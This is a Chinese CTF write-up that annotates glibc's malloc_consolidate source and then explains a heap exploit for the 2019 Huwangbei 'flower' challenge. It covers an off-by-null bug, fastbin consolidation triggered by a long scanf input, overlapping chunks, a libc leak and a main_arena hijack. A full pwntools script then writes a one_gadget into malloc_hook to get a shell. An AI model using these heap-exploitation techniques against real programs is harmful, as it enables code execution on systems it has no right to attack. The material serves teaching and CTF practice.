深度剖析malloc_consolidate

  • A+
所属分类:安全文章

前言

以往的堆题会结合off-by-nullunsortbin进行一系列的攻击利用。但是当只存在fastbin分配时则需要结合malloc_consolidate,因此从malloc_consolidate源码角度分析一下该利用。

malloc_consolidate源码

malloc_conlidate()free()的一个变体,专门用于处理fastbin中的空闲chunk。同时还负责堆管理的初始化工作。
/*
-----------malloc_consolidate-----------

malloc_consolidate is a specialized version of free() that tears down chunks held in fastbins.Free itself cannot be used for this purpose since, among other thins, it might palce chunks cak onto fastbins.So, instead, we need to use a minor variant of the same code.

Also,because this routine needs to be called the first time through malloc anyway,it turns out to be the perfet palce to trigger initialization code.
*/

static void malloc_consolidate(mstate av)
{
   mfastbinptr* fb;/*current fastbin being consolidated(当前需要被合并的fastbin堆块)*/
   mfastbinptr* maxfb;/*last fastbin(for loop control)最后一个fastbin*/
   mchunkptr p; /*current chunk being consolidated(当前正在合并的堆块)*/
   mchunkptr nexp; /*next chunk to consolidate 下一个要被合并的堆块*/
   mchunkptr unsorted_bin;/*堆头 unsortbin*/
   mchunkptr first_unsorted; /*chunk to link to(将要被链接的堆块)*/
   /*These have same use as in free()*/
   mchunkptr nextchunk;
   INTERNAL_SIZE_T size;
   INTERNAL_SIZE_T nextsize;
   INTERNAL_SIZE_T prevsize;
   int nextinues;
   mchunkptr bck;
   mchunkptr fwd;
   
   /*
   if max_fast is 0,we kenow that av hasn't yet been initialized,in which case do so below
   */
   if(get_max_fast()!=0)//判断max_fast是否为0,当第一次调用malloc之前gobal_max_fast为0,因此通过max_fast的值判断堆是否进行过初始化,若未进行过初始化则选择进行初始化堆块,若初始化过堆块,则将fastbin中的每一个chunk整合到unosrtbin或top_chunk中
  {
       clear_fastchunks(av);//清空fastbin,将所有fastbin的prev_inuse标识位都清空
       unsorted_bin = unsorted_chunks(av);//获取unsorted_bin
       
       /*
       Remove each chunk from fast bin and consolidate it,placing it then in unsorted bin.Among other reasons for dong this,placing in unsorted bin avoids needing to calculate actual bins until malloc is sure that chunks aren't immediately going to be reused anyway.
       */
       
       maxfb = &fastbin(av,NFASTBINS -1);//将fastbin最后一个bin取出来
       fb = &fastbin(av,0);//取出第一个fastbin
       do{
           p = atomic_exchange_acq(fb,NULL);//取出fd指向的fastbin中的chunk
           if(p!=0){//取出不为空的chunk
               do{
                   check_inuse_chunk(av,p);//通过next_chunk的prev_inuse标识位去检查p是否为空闲块
                   nextp = p ->fd;//指向p的后一块
                   
                   /*Slightly streamlined version of consolidation code in free() 简化版的free函数*/
                   size = p->size&~(PREV_INUSE|NON_MAIN_ARENA);//将标识位去除掉,计算真正的size
                   nextchunk = chunk_at_offset(p,size);//获取下一个chunk的位置
                   nextsize = chunksize(nextchunk);
                   if(!prev_inuse(p)){//如果p的prev_inuse为0,则说明p的前一个堆块为空闲堆块,因此需要首先与前一个堆块合并
                       prevsize = p->prev_size;//获取p的前一个堆块的size
                       size+= prevsize;//由于需要合并两个堆块,因此需要将两个size域合并
                       p = chunk_at_offset(p,-((long)prevsize));//p堆块与前一个堆块合并,后面利用unlink操作将p堆块取出来
                       unlink(av,p,bck,fwd);//unlink操作将p堆块取出来,将p的前一个堆块与后一个堆块连接起来
                       
                  }
                   if(nextchunk != av->top){
                       //如果后一个堆块不为top_chunk
                       nextinuse = inuse_bit_at_offset(nextchunk,nextsize);//利用p的后一个堆块的后一个堆块的prev_inuse域来判断p的后一个堆块是否为空闲堆块
                       if(!nextinuse){
                           //后一个堆块为空闲堆块,开始后向合并
                           size += nextsize;
                           unlink(av,nextchunk,bck,fwd);//将后一个堆块取出来
                      }else
                           clear_inuse_bit_at_offset(nextchunk,0);//若后一个堆块不是空闲的堆块,则将pre_inuse标识位去除
                       
                       first_unsored = unosred_bin->fd;//unsortbin链表中的第一个bin
                       unsorted_bin->fd=p;
                       first_unsored->bk=p;
                       //将p放进unsortbin中
                       set_foot(p,size);
                  }
                   else{
                       //若后一块为topchunk
                       size += nextsize;
                       set_head(p,size|PREV_INUSE);
                       av->top = p;
                  }
                   
              }while((p=nextp)!=0);//判断一个fastbin中的堆块合并完毕没
          }
      }while(fb++!=maxfb);//遍历下一个fastbin
  }
   else{
       malloc_init_state(av);//初始化堆块
       check_malloc_state(av);
  }
}

源码分析

  • 首先判断堆块是否已经初始化

    • 利用get_max_fast()取出gobal_max_fast里的值,若为0,则没有初始化过,则去初始化,若不为0,则进行合并操作。

    • gobal_max_fast在调用malloc()之前还没有设置数值,当调用malloc()后,则会设置gobal_max_fast为64(即0x40,32位系统下),设置为128(即0x80,64位系统下)

    • 因此可以通过gobal_max_fast里的值去判定堆块是否进行初始化

  • 若已经初始化过,则将fastbin的标识位清空,为后续合并进入unsortbin做准备

  • 取出fastbin里的堆块,进行循环合并

  • 判断前一个堆块是否为空,若为空则进行前向合并(即向地址较低的堆块进行合并,通过unlink将堆块取出)

  • 判断后一个堆块是否为top_chunk,若为top_chunk则与top_chunk合并

  • 若不为top_chunk,则判断后一个堆块是否为空闲堆块

    • 若空闲则进行后向合并(即与地址较高的堆块进行合并,通过unlink取出)

    • 若不空闲则将后一个堆块的prev_inuse位清空

  • 将合并后的堆块放进unsortbin

  • 循环取出所有fastbin中的堆块,进行合并

接着看一下malloc_consolidate在实际的应用

2019-护网杯-flower

检查保护

got表可以覆写

深度剖析malloc_consolidate

add功能

  • 限制分配堆块大小为0-0x58

  • 限制分配堆块的数量为6

  • 输入时按照设置时的大小输入

深度剖析malloc_consolidate

在输入字符时存在off-by-null的漏洞,当用户请求的大小恰好为0x58时,可以多写一个字节。

深度剖析malloc_consolidate

delete功能

删除堆块时也把指针进行清空不存在什么漏洞。

深度剖析malloc_consolidate

show功能

程序提供了打印堆块内容的功能,可以用于泄露信息。

深度剖析malloc_consolidate

思路

  • 程序存在一个off-by-null的漏洞,但是程序将堆块大小限制成0-0x58,因此无法利用,因为堆块size域为0x20-0x60只占用一个字节,若触发off-by-null漏洞则堆块的size域将会被x00覆盖。因此需要将fastbin进行合并,就可以产生大于size大于0x100的堆块,从而可以利用off-by-null

  • 在选项输入时,是通过scanf输入的,当输入的字符非常长时,scanf会暂时申请一个large chunk来存储输入的字符串,而在分配large chunk之前会调用malloc_consolidate()函数,从而可以将fastbin中的chunk合并

  • 创造出unsortbin后就是利用overlapped chunk触发uaf漏洞

脚本分析

  • 首先是分配多个堆块从而使得触发malloc_consolidate()时构造出unsortbin

  • 利用off-by-null修改unsortbinsize域触发overlapped chunk

  • 利用堆叠泄露基地址

  • 由于不能分配0x70的堆块因此不能像之前那样通过0x70堆块劫持malloc_hook,而是需要劫持main_arean,因为程序开启了pie保护,因此堆块的地址是0x560x55开头,而main_arena用于存放fastbin堆块的地址,因此可以通过分配0x50的堆块去劫持main_arena,并且topchuk也存在于main_arena中,这里需要知道当各个bin都不满足分配要求时,堆块会从topchunk中分隔开来,因此将topchunk修改任意地址即可完成任意地址分配。

exp

from pwn import *

libc = ELF("libc.so.6")
sh = process("./pwn")

def malloc_consolidate():
sh.recvuntil("choice >> ")
sh.sendline(str("1"*0x5000))#构造长字符触发malloc_consolidate()
def add(size,index,name='a'):
sh.recvuntil("choice >> ")
sh.sendline("1")
sh.recvuntil("ize :")
sh.sendline(str(size))
sh.recvuntil("index:")
sh.sendline(str(index))
sh.recvuntil("flower name:")
sh.send(name)
def remove(index):
sh.recvuntil("choice >> ")
sh.sendline("2")
sh.recvuntil("idx :")
sh.sendline(str(index))

def show(index):
sh.recvuntil("choice >> ")
sh.sendline("3")
sh.recvuntil("idx :")
sh.sendline(str(index))

for i in range(6):
add(0x58,i)
for i in range(4):
remove(i)
malloc_consolidate()#构造出unsortbin

add(0x58,0,'a'*0x58)
add(0x10,0)
add(0x40,1)
add(0x40,2)
add(0x30,3)
remove(4)
remove(0)
malloc_consolidate()#触发overlapped chunk
add(0x10,0)
show(1) #泄露基地址
sh.recvuntil("flowers : ")
addr = u64(sh.recv(6).ljust(8,'x00'))
print 'addr:'+hex(addr)
libc_base = addr - 0x3c4b78
print 'libc_base:'+hex(libc_base)
remove(5)
remove(2)
add(0x30,0)
add(0x30,0,p64(0)+p64(0x51)+p64(libc_base+0x3c4b4d-0x8))#修改fastbin的fd指针指向main_arena
add(0x40,0)
payload = p64(0)*4+'x00'*3+p64(libc_base+0x3c4aed)#劫持main_arena修改topchunk值
add(0x40,0,payload)
add(0x58,0)
add(0x58,0)
add(0x58,0)
add(0x10,0)#耗尽堆块空间,从而使得下次分配从topchunk中分配
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
one_gadget = libc_base + 0xf1147
print 'one_gadget:'+hex(one_gadget)
payload = 'a'*0xb+p64(one_gadget)+p64(libc_base + libc.symbols['realloc']+20)
add(0x40,0,payload)
#attach(sh)
sh.interactive()

题目链接

https://github.com/Ex-Origin/ctf-writeups/tree/master/huwangbei_2019/pwn/flower

参考文章

https://juejin.cn/entry/6844903816031125518

https://blog.csdn.net/plus_re/article/details/79265805

https://www.anquanke.com/post/id/186185

http://blog.eonew.cn/archives/1212


本文始发于微信公众号(山石网科安全技术研究院):深度剖析malloc_consolidate

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: